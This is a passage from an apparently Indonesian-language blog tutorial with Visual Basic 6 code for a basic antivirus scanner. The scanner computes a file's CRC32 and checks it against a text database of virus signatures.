Public Function cariDatabase(Crc As String, namaFileDB As String) As Boolean

Dim lineStr As String, tmp() As String ‘variabel penampung untuk isi file

Open namaFileDB For Input As #1 ‘buka file dengan mode input

Do

Line Input #1, lineStr

tmp = Split(lineStr, “=”) ‘pisahkan isi file bedasarkan pemisah karakter ‘=’

namaVirus = tmp(0) ‘masukkan namavirus ke variabel dari array

CrcVirus = tmp(1) ‘masukkan Crcvirus ke variabel dari array

If CrcVirus = Crc Then ‘bila CRC perhitungan cocok/match dengan database

cariDatabase = True ‘kembalikan nilai TRUE

Exit Do ‘keluar dari perulangan

End If

Loop Until EOF(1)

Close #1

End Function

================= END HERE ====================

Lalu tambahkan 1 objek baru kedalam Form, yaitu Command button2. lalu ketikkan listing kode berikut kedalam event Command2_Click :

================= START HERE ====================

If Len(App.Path) <= 3 Then ‘bila direktori kita adalah root direktori

pathEXE = App.Path

Else

pathEXE = App.Path & “”

End If

CommonDialog1.CancelError = True ‘error bila user mengklik cancel pada CommonDialog

CommonDialog1.DialogTitle = “Baca File” ‘Caption commondialog

On Error GoTo erorhandle ‘label error handle

CommonDialog1.ShowOpen

namafilbuka = CommonDialog1.FileName

Open namafilbuka For Binary Access Read As #1 ‘buka file yang dipilih dengan akses baca pada mode binary

ReDim tmp(LOF(1)) As Byte ‘deklarasi ulang untuk array

Get #1, , tmp()

Close #1

calCrc = UBound(tmp) ‘mengambil ukuran file dari array

calCrc = CCrc.CRC32(tmp, calCrc) ‘hitung CRC

HasilCrc = Hex(calCrc) ‘diubah ke format hexadesimal, karena hasil perhitungan dari class CRC masih berupa numeric

If cariDatabase(HasilCrc, pathEXE & “DB.txt”) Then ‘bila fungsi bernilai TRUE

MsgBox “Virus ditemukan : ” & namaVirus ‘tampilkan message Box

End If

Exit Sub

erorhandle:

If Err.Number <> 32755 Then MsgBox Err.Description ‘error number 32755 dalah bila user mengklik tombol cancel pada saat memilih file

Selamat mencoba dan semoga sukses,, ,, ,
tunggu update selanjut nya ya kawan ,
jangan lupa tinggalkan komentar!ok!

Read more »